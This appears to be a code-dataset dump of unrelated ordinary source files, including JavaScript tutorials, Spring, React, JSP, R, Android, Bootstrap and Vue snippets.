text
stringlengths 184
4.48M
|
---|
console.clear();
const arr = [1,2,3,4,5,6,7,8,9];
const arr2 = ["Andrii", "Doroshenko", 25];
// es5 variant
// const first = arr[0];
// const second = arr[1];
// const rest = arr.slice(2);
const [first, second, ...rest] = arr;
let [firstName, lastName, age] = arr2;
console.log(`first is ${first}`);
console.log(`second is ${second}`);
console.log(`rest is ${rest}`);
console.log("-------");
console.log(`firstName is ${firstName}`);
console.log(`lastName is ${lastName}`);
console.log(`lastName is ${age}`);
console.log(age);
// default value
const nElementsArray = [1,2];
const [one, two, three = 1000] = nElementsArray;
console.log(one, two, three);
// nested arrays
const nestedArray = [[1,2,3],[4,5,6]];
const [[, , firstElem], secondElem] = nestedArray;
console.log(firstElem, secondElem);
// swithcing values of variables
let x = 10;
let y = 20;
console.log(`x is ${x} and y is ${y}`);
[x,y] = [y, x];
console.log(`x is ${x} and y is ${y}`);
const position = [10, 10, 0];
function describePosition([x]) {
return `Object position on x axis equals ${x}`;
}
console.log(describePosition(position));
// Object Desctructuring
console.clear();
const somePony = {
name: "Rainbow Pony",
position: {x: 10, y: 20, z: 0},
direction: {x: 0, y: 1, z: 0},
rotation: {x: 1.57, y: 0, z: .89}
};
const {name, position: ponyPosition} = somePony;
console.log(name);
console.log(ponyPosition);
const {position: {x: ponyPositionX}} = somePony;
console.log(ponyPositionX);
const {rotation = {x: 0, y: 0, z: 0}} = somePony;
console.log("rotation", rotation);
const person = {
name: "Bob",
lastName: "Garison",
address: {
line1: "st. Shevchenko",
line2: "building 12",
some: {a: 10, b: 20}
},
};
// const building = person.address.line2;
const {address: {line2: building, some: {a, b}}} = person;
console.log(building);
console.log(person);
console.log(a, b);
const response = {"data":{"members":{"totalCount":116},"repositories":{"totalCount":223},"projects":{"totalCount":0}}};
function parseTotalCountFromResponse({data: {members: {totalCount: usersTotalCount}}}) {
return usersTotalCount;
}
console.log(parseTotalCountFromResponse(response));
|
package com.geecbrains.services;
import com.geecbrains.entities.Autorites;
import com.geecbrains.entities.User;
import com.geecbrains.repositories.UserRepository;
import lombok.RequiredArgsConstructor;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.util.Collection;
import java.util.Optional;
import java.util.stream.Collectors;
@Service
@RequiredArgsConstructor
public class UserService implements UserDetailsService {
private final UserRepository userRepository;
public Optional<User> findByUsername(String username) {
return userRepository.findByUsername(username);
}
@Override
@Transactional
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
// находим пользователя в базе данных
User user = findByUsername(username).orElseThrow(() -> new UsernameNotFoundException(String.format("User '%s' not found", username)));
return new org.springframework.security.core.userdetails.User(user.getUsername(), user.getPassword(), mapRolesToAuthorities(user.getAutorites()));
}
// это метод перепаковывает нашего изера по имени роли в юзера для spring security
private Collection<? extends GrantedAuthority> mapRolesToAuthorities(Collection<Autorites> autorites) {
return autorites.stream().map(autorite -> new SimpleGrantedAuthority(autorite.getName())).collect(Collectors.toList());
}
}
|
import React, { useState } from "react";
import { LuSearch } from "react-icons/lu";
import { GEO_API_URL, geoApiOptions } from "../api/constants";
import { AsyncPaginate, LoadOptions } from "react-select-async-paginate";
import { GroupBase } from "react-select";
import { City } from "../lib/types";
// Custom styles for react select async paginate
const customStyles = {
control: (provided: any, state: any) => ({
...provided,
backgroundColor: "transparent",
border: "0px",
boxShadow: state.isFocused ? "0 0 0 0px transparent" : null,
}),
option: (provided: any, state: any) => ({
...provided,
backgroundColor: state.isFocused ? "#f97f29" : null,
color: state.isFocused ? "white" : null,
}),
};
function SearchBar({ handleOnSearchClick }: any) {
const [searchValue, setSearchValue] = useState("");
const loadOptions: LoadOptions<string, GroupBase<string>, unknown> = async (
inputValue: string
) => {
const url = `${GEO_API_URL}/cities?minPopulation=100000&namePrefix=${inputValue}`;
try {
const response = await fetch(url, geoApiOptions);
const responseData = await response.json();
const options = responseData?.data.map((city: City) => ({
value: `${city.latitude} ${city.longitude}`,
label: `${city.name} ${city.countryCode}`,
}));
return { options };
} catch (error) {
console.error("Error loading options:", error);
return { options: [] };
}
};
const handleSearchOnchange = (searchData: any) => {
setSearchValue(searchData);
};
const handleClick = () => {
handleOnSearchClick(searchValue);
};
return (
<div className="flex items-center mx-5 bg-accentGrey pl-3 py-1 rounded-lg">
<AsyncPaginate
value={searchValue}
debounceTimeout={600}
defaultOptions
loadOptions={loadOptions}
placeholder="Search city ..."
onChange={handleSearchOnchange}
styles={customStyles}
className="bg-transparent w-64 focus:outline-none text-accentSecondary focus:ring-0 placeholder:text-fontBlue text-sm font-semibold tracking-wide"
/>
<button
onClick={handleClick}
className="text-xl px-5 text-accentPrimary hover:scale-110 duration-200"
>
<LuSearch />
</button>
</div>
);
}
export default SearchBar;
|
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<header>
<!--로고 세션 ------------------------------------------------------------------------- -->
<section>
<!-- 클릭시 메인 페이지로 이동 -->
<a href="/">
<img src="\resources\images\logo.jpg" id="home-logo">
</a>
</section>
<!-- 검색창 세션 ----------------------------------------------------------------------------------------- -->
<!-- 검색창 영역 -->
<section>
<!-- section 안에서 작은 영역을 만드는 거---
검색창이라서 제출을 해야함 form태그-->
<article class="search-area">
<!-- 내부 iput 태그의 값을 서버 또는 페이지로 전달(제출) -->
<!-- action 어디다가 제출할지 -->
<form action="#">
<!-- 테두리 만들어주는 거 fieldset -->
<fieldset>
<!-- type="search" -->
<input type="text" id="query" name="query"
placeholder="검색어를 입력해주세요.">
<!-- 검색 버튼 -->
<!-- 아이콘 특수문자로 취급됨 -->
<button type="submit" id="search-btn" class="fa-solid fa-magnifying-glass"></button>
</fieldset>
</form>
</article>
</section>
<section></section>
<!-- 헤더 오른쪽 상단 메뉴 -->
<div id="header-top-menu">
<c:choose>
<c:when test="${empty sessionScope.loginMember}">
<a href="/">메인 페이지</a>
|
<a href="/member/login">로그인</a> <%-- a 태그 자체가 get --%>
</c:when>
<c:otherwise>
<label for="header-menu-toggle">
${loginMember.memberNickname}
<i class="fa-solid fa-caret-down"></i>
</label>
<input type="checkbox" id="header-menu-toggle">
<div id="header-menu">
<a href="/member/myPage/info">내정보</a>
<a href="/member/logout">로그아웃</a>
</div>
<%--<a href="#">로그아웃</a> --%>
</c:otherwise>
</c:choose>
</div>
</header>
<nav>
<ul>
<!-- a inline 형식이라서 수평분할
딱 글자만큼만 해당됨 -->
<%-- <li><a href="#">공지사항</a></li>
<li><a href="#">자유 게시판</a></li>
<li><a href="#">질문 게시판</a></li>
<li><a href="#">FAQ</a></li>
<li><a href="#">1:1문의</a></li> --%>
<c:forEach var = "boardType" items="${boardTypeMap}">
<%--
EL을 이용해서 Map 데이터를 다루는 방법
Key ==> ${변수명.key}
value ==> ${변수명.value}
--%>
<li><a href="/board/${boardType.key}/list">${boardType.value}</a></li>
</c:forEach>
</ul>
</nav>
|
##plot percent novel taxa for RDP and SILVA
##6/17/16
rm(list=ls())
library(ggplot2)
library(reshape2)
library(plyr)
setwd("C:\\Users\\kwinglee.cb3614tscr32wlt\\Documents\\Fodor\\JobinCollaboration\\dolphin\\corrected metadata rdp abunotu")
aotudir = "C:\\Users\\kwinglee.cb3614tscr32wlt\\Documents\\Fodor\\JobinCollaboration\\dolphin\\abundantOTU\\"
levels = c("silva", "phylum", "class", "order", "family", "genus")
##get metadata; use table instead of metadata to remove low read count samples
##relabun is also used later for last set of plots
relabun = read.table("dolphin_OTU_relAbun.txt", sep="\t", header=T,
colClasses=c(rep("character",12), rep("numeric", 28973)))
metadata = data.frame(sampleID=relabun$sampleID, site=relabun$BODY.SITE.SAMPLED)
sites = as.character(sort(unique(metadata$site)))
colors = c("red", "blue", "green", "gold", "purple", "turquoise", "black") #for "A" "B" "C" "D" "E" "F" "W"
##function to convert letter abbreviation to actual site name
convertSite <- function(abbrev) {
if(abbrev == "A") {
return("fecal")
} else if(abbrev == "B") {
return("blowhole")
} else if(abbrev == "C") {
return("blowhole plate")
} else if(abbrev == "D") {
return("gastric")
} else if(abbrev == "E") {
return("skin")
} else if(abbrev == "F") {
return("genital")
} else if(abbrev == "W") {
return("water")
} else {
warning(paste("Invalid site abbreviation:", abbrev))
return(abbrev)
}
}
pdf("novelTaxa_clusterbycutoff.pdf", height=5, width=8)
for(lev in levels) {
print(lev)
table = read.table(paste(aotudir, "dolphinAbundantOTU.fractionNovelReads_", lev, ".txt", sep=""),
sep="\t", header=T,
colClasses = c("character", rep("numeric", 5)))
##swap the sample ids of the samples that had the incorrect indexes
##swap TT15018C and TT15018F
table$sampleID[table$sampleID=="TT15018C"] = "temp"
table$sampleID[table$sampleID=="TT15018F"] = "TT15018C"
table$sampleID[table$sampleID=="temp"] = "TT15018F"
##swap TT15018E and TT15018D
table$sampleID[table$sampleID=="TT15018E"] = "temp"
table$sampleID[table$sampleID=="TT15018D"] = "TT15018E"
table$sampleID[table$sampleID=="temp"] = "TT15018D"
##swap TT15019C and TT15019F
table$sampleID[table$sampleID=="TT15019C"] = "temp"
table$sampleID[table$sampleID=="TT15019F"] = "TT15019C"
table$sampleID[table$sampleID=="temp"] = "TT15019F"
##swap TT15019E and TT15019D
table$sampleID[table$sampleID=="TT15019E"] = "temp"
table$sampleID[table$sampleID=="TT15019D"] = "TT15019E"
table$sampleID[table$sampleID=="temp"] = "TT15019D"
##merge with metadata
table = merge(metadata, table, by="sampleID")
write.table(table, paste("dolphinAbundantOTU.fractionNovelReads_", lev, ".txt", sep=""),
row.names = F, col.names = T, quote=F, sep="\t")
##get average and standard deviation by body site
means = data.frame(site = sites,
frac99 = rep(NA, length(sites)),
frac97 = rep(NA, length(sites)),
frac95 = rep(NA, length(sites)),
frac90 = rep(NA, length(sites)),
frac80 = rep(NA, length(sites)))
sds = data.frame(site = sites,
frac99 = rep(NA, length(sites)),
frac97 = rep(NA, length(sites)),
frac95 = rep(NA, length(sites)),
frac90 = rep(NA, length(sites)),
frac80 = rep(NA, length(sites)))
for(i in 1:length(sites)) {
s = sites[i]
means$frac99[i] = mean(table$frac99[table$site == s])
means$frac97[i] = mean(table$frac97[table$site == s])
means$frac95[i] = mean(table$frac95[table$site == s])
means$frac90[i] = mean(table$frac90[table$site == s])
means$frac80[i] = mean(table$frac80[table$site == s])
sds$frac99[i] = sd(table$frac99[table$site == s])
sds$frac97[i] = sd(table$frac97[table$site == s])
sds$frac95[i] = sd(table$frac95[table$site == s])
sds$frac90[i] = sd(table$frac90[table$site == s])
sds$frac80[i] = sd(table$frac80[table$site == s])
}
means$site = sapply(means$site, convertSite, USE.NAMES = F)
sds$site = sapply(sds$site, convertSite, USE.NAMES = F)
##plot
df = melt(means, id.vars="site", value.name = "mean")
df2 = melt(sds, id.vars="site", value.name = "sd")
df = merge(df, df2, by=c("site", "variable"))
p = ggplot(df, aes(x=variable, y=mean)) +
geom_bar(stat="identity", aes(fill=site), position=position_dodge()) +
geom_errorbar(aes(ymin=mean-sd, ymax=mean+sd, fill=site), position=position_dodge()) +
ggtitle(lev) +
scale_x_discrete(name = "cutoff", labels=c("99%", "97%", "95%", "90%", "80%")) +
scale_y_continuous(name = "fraction of reads") +
scale_fill_manual(name="body site",
values=c("red", "blue", "green", "gold", "purple", "turquoise", "black"),
labels = sapply(sites, convertSite, USE.NAMES = F))
print(p)
}
dev.off()
pdf("novelTaxa_clusterbysite.pdf", height=5, width=8)
for(lev in levels) {
print(lev)
table = read.table(paste("dolphinAbundantOTU.fractionNovelReads_", lev, ".txt", sep=""), sep="\t", header=T,
colClasses = c("character", "character", rep("numeric", 5)))
##get average and standard deviation by body site
means = data.frame(site = sites,
frac99 = rep(NA, length(sites)),
frac97 = rep(NA, length(sites)),
frac95 = rep(NA, length(sites)),
frac90 = rep(NA, length(sites)),
frac80 = rep(NA, length(sites)))
sds = data.frame(site = sites,
frac99 = rep(NA, length(sites)),
frac97 = rep(NA, length(sites)),
frac95 = rep(NA, length(sites)),
frac90 = rep(NA, length(sites)),
frac80 = rep(NA, length(sites)))
for(i in 1:length(sites)) {
s = sites[i]
means$frac99[i] = mean(table$frac99[table$site == s])
means$frac97[i] = mean(table$frac97[table$site == s])
means$frac95[i] = mean(table$frac95[table$site == s])
means$frac90[i] = mean(table$frac90[table$site == s])
means$frac80[i] = mean(table$frac80[table$site == s])
sds$frac99[i] = sd(table$frac99[table$site == s])
sds$frac97[i] = sd(table$frac97[table$site == s])
sds$frac95[i] = sd(table$frac95[table$site == s])
sds$frac90[i] = sd(table$frac90[table$site == s])
sds$frac80[i] = sd(table$frac80[table$site == s])
}
##plot
df = melt(means, id.vars="site", value.name = "mean")
df2 = melt(sds, id.vars="site", value.name = "sd")
df = merge(df, df2, by=c("site", "variable"))
p = ggplot(df, aes(x=site, y=mean)) +
geom_bar(stat="identity", aes(fill=variable), position=position_dodge()) +
geom_errorbar(aes(ymin=mean-sd, ymax=mean+sd, fill=variable), position=position_dodge()) +
ggtitle(lev) +
scale_x_discrete(name = "body site", labels=sapply(sites, convertSite, USE.NAMES = F)) +
scale_y_continuous(name = "fraction of reads") +
scale_fill_brewer(name="cutoff", labels=c("99%", "97%", "95%", "90%", "80%"), palette="Set1")
print(p)
}
dev.off()
####log abundance vs percent identity
extra = 0.000001 #pseudocount to add to log
inset = c(-.4, 0)
# pdf("novelTaxa_abunVpid.pdf", height=5, width=12)
pdf("novelTaxa_abunVpid.pdf", height=5, width=6)
par(mar = c(5, 4, 4, 8), xpd=T)
##silva results
pid = read.table(paste(aotudir, "blastSilva_v_dolphinAbundantOTUcons.table.txt", sep=""),
sep="\t", header= T,
colClasses = c(rep("character", 2), rep("numeric", 2)))
plot(NA, type="n", xlim = log(range(relabun[,-(1:13)])+extra), ylim=range(pid$percentIdentity),
main="Silva",
xlab = paste("log(mean relative abundance + ", extra, ")", sep=""),
ylab = "percent identity")
legend("topright", inset=inset,
legend = sapply(sites, convertSite, USE.NAMES = F),
col = colors,
pch = 16)
for(j in 1:length(sites)) {
s = sites[j]
print(s)
sub = relabun[relabun$BODY.SITE.SAMPLED==s,]
x = colMeans(sub[,-(1:13)])
logx = log(x+extra)
y = rep(NA, length(x))
for(i in 1:length(x)) {
if(names(x)[i] %in% pid$consensusSequence) {
y[i] = pid$percentIdentity[pid$consensusSequence==names(x)[i]]
}
}
points(x=logx, y=y, col=colors[j], pch=16)
# par(mfrow=c(1,2), mar = c(5, 4, 4, 8), xpd=T)
# plot(x=x, y=y, pch=16, col=colors[j],
# main="Silva",
# xlab = "mean relative abundance",
# ylab = "percent identity")
# legend("topright", inset=inset,
# legend = sapply(sites, convertSite, USE.NAMES = F),
# col = colors,
# pch = 16)
# plot(x=logx, y=y, pch=16, col=colors[j],
# main="Silva",
# xlab = paste("log(mean relative abundance + ", extra, ")", sep=""),
# ylab = "percent identity")
# legend("topright", inset=inset,
# legend = sapply(sites, convertSite, USE.NAMES = F),
# col = colors,
# pch = 16)
}
###RDP results
taxaLevels = c("phylum", "class", "order", "family", "genus")
conf = read.table(paste(aotudir, "dolphinAbundantOTU.cons.rdpTaxonomy.confidence.txt", sep=""),
header = T, sep = "\t", colClasses = c("character", rep("numeric", 5)))
for(lev in taxaLevels) {
print(lev)
plot(NA, type="n", xlim = log(range(relabun[,-(1:13)])+extra), ylim=range(conf[,names(conf)==lev], na.rm = T),
main=lev,
xlab = "mean relative abundance",
ylab = "RDP confidence")
legend("topright", inset=inset,
legend = sapply(sites, convertSite, USE.NAMES = F),
col = colors,
pch = 16)
for(j in 1:length(sites)) {
s = sites[j]
print(s)
sub = relabun[relabun$BODY.SITE.SAMPLED==s,]
x = colMeans(sub[,-(1:13)])
logx = log(x+extra)
col = which(names(conf)==lev)
y = rep(NA, length(x))
for(i in 1:length(x)) {
y[i] = conf[conf$sequence==names(x)[i],col]
}
points(x=logx, y=y, col=colors[j], pch=16)
# par(mfrow=c(1,2), mar = c(5, 4, 4, 8), xpd=T)
# plot(x=x, y=y, main=lev, pch=16, col=colors[j],
# xlab = "mean relative abundance",
# ylab = "RDP confidence")
# legend("topright", inset=inset,
# legend = sapply(sites, convertSite, USE.NAMES = F),
# col = colors,
# pch = 16)
# plot(x=logx, y=y, main=lev, pch=16, col=colors[j],
# xlab = paste("log(mean relative abundance + ", extra, ")", sep=""),
# ylab = "RDP confidence")
# legend("topright", inset=inset,
# legend = sapply(sites, convertSite, USE.NAMES = F),
# col = colors,
# pch = 16)
}
}
dev.off()
|
function madLib(verb, adj, noun) {
return `We shall ${verb.toUpperCase()} the ${adj.toUpperCase()} ${noun.toUpperCase()}.`;
}
// console.log(madLib('make', 'best', 'guac'));
function isSubstring(searchString, subString) {
return searchString.includes(subString);
}
// console.log(isSubstring("time to program", "time"));
// console.log(isSubstring("Jump for joy", "joys"));
function fizzBuzz(array) {
const fizzBuzzArr = [];
array.forEach(el => {
if ((el % 3 === 0) ^ (el % 5 === 0)) {
fizzBuzzArr.push(el);
}
});
return fizzBuzzArr;
}
// console.log(fizzBuzz([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]));
function isPrime(n) {
for (let i = 2; i < n; i++ ) {
if (n % i === 0) {
return false;
}
}
return true;
}
//
// console.log(isPrime(2));
// console.log(isPrime(10));
// console.log(isPrime(15485863));
// console.log(isPrime(3548563));
function sumOfNPrimes(n) {
let sum = 0;
let countPrimes = 0;
let i = 2;
while (countPrimes < n) {
if (isPrime(i)) {
sum += i;
countPrimes++;
}
i++;
}
return sum;
}
// console.log(sumOfNPrimes(0));
// console.log(sumOfNPrimes(1));
// console.log(sumOfNPrimes(4));
function titleize(names, callback) {
let titleized = names.map(name => `Mx. ${name} Jingleheimer Schmidt`);
callback(titleized);
}
// console.log(titleize(["Mary", "Brian", "Leo"], (names) => {
// names.forEach(name => console.log(name));
// }));
function Elephant(name, height, tricks) {
this.name = name;
this.height = height;
this.tricks = tricks;
}
Elephant.prototype.trumpet = function() {
console.log(`$(this.name) the elephant goes 'phrRRRRR!!!'`);
};
Elephant.prototype.grow = function() {
this.height = this.height + 12;
};
Elephant.prototype.addTrick = function(trick) {
this.tricks.push(trick);
};
Elephant.prototype.play = function() {
let i = Math.floor(Math.random() * this.tricks.length);
console.log(`${this.name} is ${this.tricks[i]}`);
};
let ellie = new Elephant("Ellie", 185, ["giving human friends a ride", "playing hide and seek"]);
let charlie = new Elephant("Charlie", 200, ["painting pictures", "spraying water for a slip and slide"]);
let kate = new Elephant("Kate", 234, ["writing letters", "stealing peanuts"]);
let micah = new Elephant("Micah", 143, ["trotting", "playing tic tac toe", "doing elephant ballet"]);
let herd = [ellie, charlie, kate, micah];
Elephant.paradeHelper = function(elephant) {
console.log(`${elephant.name} is trotting by!`);
};
function dinerBreakfast() {
let order = "I'd like cheesy scrambled eggs please.";
console.log(order);
return function(food) {
order = `${order.slice(0, order.length - 8)} and ${food} please.`;
console.log(order);
};
}
|
package com.cappielloantonio.tempo.viewmodel;
import android.app.Application;
import android.content.Context;
import androidx.annotation.NonNull;
import androidx.lifecycle.AndroidViewModel;
import androidx.lifecycle.LifecycleOwner;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.MutableLiveData;
import androidx.media3.common.util.UnstableApi;
import com.cappielloantonio.tempo.interfaces.StarCallback;
import com.cappielloantonio.tempo.model.Download;
import com.cappielloantonio.tempo.repository.AlbumRepository;
import com.cappielloantonio.tempo.repository.ArtistRepository;
import com.cappielloantonio.tempo.repository.FavoriteRepository;
import com.cappielloantonio.tempo.repository.SharingRepository;
import com.cappielloantonio.tempo.repository.SongRepository;
import com.cappielloantonio.tempo.subsonic.models.AlbumID3;
import com.cappielloantonio.tempo.subsonic.models.ArtistID3;
import com.cappielloantonio.tempo.subsonic.models.Child;
import com.cappielloantonio.tempo.subsonic.models.Share;
import com.cappielloantonio.tempo.util.DownloadUtil;
import com.cappielloantonio.tempo.util.MappingUtil;
import com.cappielloantonio.tempo.util.NetworkUtil;
import com.cappielloantonio.tempo.util.Preferences;
import java.util.Collections;
import java.util.Date;
import java.util.List;
@UnstableApi
public class SongBottomSheetViewModel extends AndroidViewModel {
private final SongRepository songRepository;
private final AlbumRepository albumRepository;
private final ArtistRepository artistRepository;
private final FavoriteRepository favoriteRepository;
private final SharingRepository sharingRepository;
private Child song;
private final MutableLiveData<List<Child>> instantMix = new MutableLiveData<>(null);
public SongBottomSheetViewModel(@NonNull Application application) {
super(application);
songRepository = new SongRepository();
albumRepository = new AlbumRepository();
artistRepository = new ArtistRepository();
favoriteRepository = new FavoriteRepository();
sharingRepository = new SharingRepository();
}
public Child getSong() {
return song;
}
public void setSong(Child song) {
this.song = song;
}
public void setFavorite(Context context) {
if (song.getStarred() != null) {
if (NetworkUtil.isOffline()) {
removeFavoriteOffline(song);
} else {
removeFavoriteOnline(song);
}
} else {
if (NetworkUtil.isOffline()) {
setFavoriteOffline(song);
} else {
setFavoriteOnline(context, song);
}
}
}
private void removeFavoriteOffline(Child media) {
favoriteRepository.starLater(media.getId(), null, null, false);
media.setStarred(null);
}
private void removeFavoriteOnline(Child media) {
favoriteRepository.unstar(media.getId(), null, null, new StarCallback() {
@Override
public void onError() {
// media.setStarred(new Date());
favoriteRepository.starLater(media.getId(), null, null, false);
}
});
media.setStarred(null);
}
private void setFavoriteOffline(Child media) {
favoriteRepository.starLater(media.getId(), null, null, true);
media.setStarred(new Date());
}
private void setFavoriteOnline(Context context, Child media) {
favoriteRepository.star(media.getId(), null, null, new StarCallback() {
@Override
public void onError() {
// media.setStarred(null);
favoriteRepository.starLater(media.getId(), null, null, true);
}
});
media.setStarred(new Date());
if (Preferences.isStarredSyncEnabled()) {
DownloadUtil.getDownloadTracker(context).download(
MappingUtil.mapDownload(media),
new Download(media)
);
}
}
public LiveData<AlbumID3> getAlbum() {
return albumRepository.getAlbum(song.getAlbumId());
}
public LiveData<ArtistID3> getArtist() {
return artistRepository.getArtist(song.getArtistId());
}
public LiveData<List<Child>> getInstantMix(LifecycleOwner owner, Child media) {
instantMix.setValue(Collections.emptyList());
songRepository.getInstantMix(media, 20).observe(owner, instantMix::postValue);
return instantMix;
}
public MutableLiveData<Share> shareTrack() {
return sharingRepository.createShare(song.getId(), song.getTitle(), null);
}
}
|
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>carousel</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KK94CHFLLe+nY2dmCWGMq91rCGa5gtU4mk92HdvYe+M/SXH301p5ILy+dN9+nJOZ" crossorigin="anonymous">
</head>
<body>
<ul class="nav nav-pills">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="#">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">About</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">Blog</a>
</li>
<li class="nav-item">
<a class="nav-link disabled">Contact</a>
</li>
</ul>
<div id="carouselExampleCaptions" class="carousel slide">
<div class="carousel-indicators">
<button type="button" data-bs-target="#carouselExampleCaptions" data-bs-slide-to="0" class="active" aria-current="true" aria-label="Slide 1"></button>
<button type="button" data-bs-target="#carouselExampleCaptions" data-bs-slide-to="1" aria-label="Slide 2"></button>
<button type="button" data-bs-target="#carouselExampleCaptions" data-bs-slide-to="2" aria-label="Slide 3"></button>
</div>
<div class="carousel-inner">
<div class="carousel-item active">
<img src="https://loudcanvas.com/wp-content/uploads/2019/06/bootstrap-wallpaper.png" class="d-block w-100" alt="...">
<div class="carousel-caption d-none d-md-block">
<h5>Bootstrap</h5>
<p>Some representative placeholder content for the first slide.</p>
</div>
</div>
<div class="carousel-item">
<img src="https://static.skillshare.com/uploads/discussion/tmp/ca043fce" class="d-block w-100" alt="...">
<div class="carousel-caption d-none d-md-block">
<h5>HTML</h5>
<p>Some representative placeholder content for the second slide.</p>
</div>
</div>
<div class="carousel-item">
<img src="https://designmodo.com/wp-content/uploads/2011/11/3-CSS3-Logo.jpg" class="d-block w-100" alt="...">
<div class="carousel-caption d-none d-md-block">
<h5>CSS</h5>
<p>Some representative placeholder content for the third slide.</p>
</div>
</div>
</div>
<button class="carousel-control-prev" type="button" data-bs-target="#carouselExampleCaptions" data-bs-slide="prev">
<span class="carousel-control-prev-icon" aria-hidden="true"></span>
<span class="visually-hidden">Previous</span>
</button>
<button class="carousel-control-next" type="button" data-bs-target="#carouselExampleCaptions" data-bs-slide="next">
<span class="carousel-control-next-icon" aria-hidden="true"></span>
<span class="visually-hidden">Next</span>
</button>
</div>
<div class="d-flex row mb-3 justify-content-between">
<div class="card" style="width: 18rem;">
<div class="card-body">
<h5 class="card-title">Bootstrap</h5>
<h6 class="card-subtitle mb-2 text-body-secondary">Card subtitle</h6>
<p class="card-text">Some quick example text to build on the card title and make up the bulk of the card's content.</p>
<button class="btn btn-info">More!</button>
</div>
</div>
<div class="card" style="width: 18rem;">
<div class="card-body">
<h5 class="card-title">HTML</h5>
<h6 class="card-subtitle mb-2 text-body-secondary">Card subtitle</h6>
<p class="card-text">Some quick example text to build on the card title and make up the bulk of the card's content.</p>
<button class="btn btn-info">More!</button>
</div>
</div>
<div class="card" style="width: 18rem;">
<div class="card-body">
<h5 class="card-title">CSS</h5>
<h6 class="card-subtitle mb-2 text-body-secondary">Card subtitle</h6>
<p class="card-text">Some quick example text to build on the card title and make up the bulk of the card's content.</p>
<button class="btn btn-info">More!</button>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ENjdO4Dr2bkBIFxQpeoTz1HIcje39Wm4jDKdf19U8gI4ddQ3GYNS7NTKfAdVQSZe" crossorigin="anonymous"></script>
</body>
</html>
|
<template>
<div>
<h1>Create Recipes Below!</h1>
</div>
<div>
<form method="post" class="form">
<input type="hidden" name="csrfmiddlewaretoken"
v-bind:value="csrf_token">
<p>
<label for="id_name">Recipe Title: </label>
<input type="text" name="name" v-model="title" maxlength="100"
required="" id="id_name">
</p>
<p>
<label for="id_ingredients">Ingredients:</label>
<select hidden name="ingredients" id="id_ingredients" multiple="">
<option v-for="ingredient in ingredient_list" :value="ingredient.id" selected=""></option>
</select>
<multiselect v-model="ingredient_list" :options="ingredient_list_source" :multiple="true" :close-on-select="false" :clear-on-select="false" :preserve-search="true" placeholder="Choose the ingredients" label="name" track-by="name" :preselect-first="true" style="display:inline-block;width: 300px;padding-bottom:10px;padding-left:10px">
<template slot="selection" slot-scope="{ values, search, isOpen }"><span class="multiselect__single" v-if="values.length" v-show="!isOpen">{{ values.length }} options selected</span></template>
</multiselect>
</p>
<p>
<label for="id_foodDescription">Description: </label>
<input type="hidden" :value="foodDescription" name="foodDescription" value=""
maxlength="5000" required="" id="id_foodDescription" >
<textarea v-model="foodDescription" name="foodDescription" cols="50" maxlength="5000" rows="3"> </textarea>
</p>
<p>
<label for="id_recipe">Recipe: </label>
<input type="hidden" :value="recipe" name="recipe" value=""
maxlength="5000" required="" id="id_recipe" >
<textarea v-model="recipe" name="recipe" cols="50" maxlength="5000" rows="3"> </textarea>
</p>
<button type="submit" class="btn btn-primary">
Submit
</button>
</form>
</div>
</template>
<script>
import Multiselect from 'vue-multiselect'
export default {
name: 'App',
components: {
Multiselect
},
props: [
],
data: function() {
return {
csrf_token: ext_csrf_token,
form: ext_form,
recipe_dico: ext_recipe_dict,
title: ext_recipe_dict.name,
foodDescription: ext_recipe_dict.foodDescription,
recipe: ext_recipe_dict.recipe,
ingredient_list_source: (ext_ingredient_list != undefined) ? ext_ingredient_list: [],
submitting_form: false,
form_error: [],
form_updated: "",
foodDescription: ext_recipe_dict.foodDescription,
update_bis_url: ext_update_bis_url,
ingredient_list: (ext_recipe_dict.ingredients != undefined && ext_recipe_dict.ingredients != null) ? ext_recipe_dict.ingredients : [],
}
},
computed: {
onLoad() {
console.log("hello");
console.log(this.ingredient_list_source);
console.log(this.ingredient_list);
console.log(this.recipe_dico);
console.log(this.csrf_token)
}
},
methods: {
submit_form(){
if (this.submitting_form === true) {
return;
}
this.submitting_form = true
var form = document.createElement('form');
form.setAttribute('method', 'post');
let form_data = {
'csrfmiddlewaretoken': this.csrf_token,
'name': this.recipe_dico.name,
'foodDescription': this.recipe_dico.foodDescription,
'recipe': this.recipe_dico.recipe,
}
console.log('ingredient_list', this.ingredient_list)
console.log("form_data", form_data)
for (var key in form_data) {
var html_field = document.createElement('input')
html_field.setAttribute('type', 'hidden')
html_field.setAttribute('name', key)
html_field.setAttribute('value', form_data[key])
form.appendChild(html_field)
}
var ingredient_field = document.createElement('select')
ingredient_field.setAttribute('name', 'ingredients')
ingredient_field.setAttribute('id', 'id_ingredients')
ingredient_field.setAttribute('multiple', '')
for (var ingredient of this.ingredient_list) {
console.log('ingredient', ingredient)
var option_field = document.createElement('option')
option_field.setAttribute('value', ingredient.id)
option_field.setAttribute('selected', '')
ingredient_field.appendChild(option_field)
}
form.appendChild(ingredient_field)
document.body.appendChild(form);
form.submit()
},
},
mounted(){
this.csrf_token=ext_csrf_token;
this.recipe_dico=ext_recipe_dict;
this.ingredient_list_source= ext_ingredient_list;
this.ingredient_list = JSON.parse(ext_recipe_dict.ingredients);
},
}
</script>
<style src="vue-multiselect/dist/vue-multiselect.css"></style>
|
import { UnAuthenticatedException } from './auth-error';
import { BadRequestException } from './bad-request';
import { ConflictException } from './conflict-error';
import { NotFoundException } from './not-found';
import { UnAuthorizedException } from './permission-error';
import { ServerException } from './server-error';
export class ThrowException {
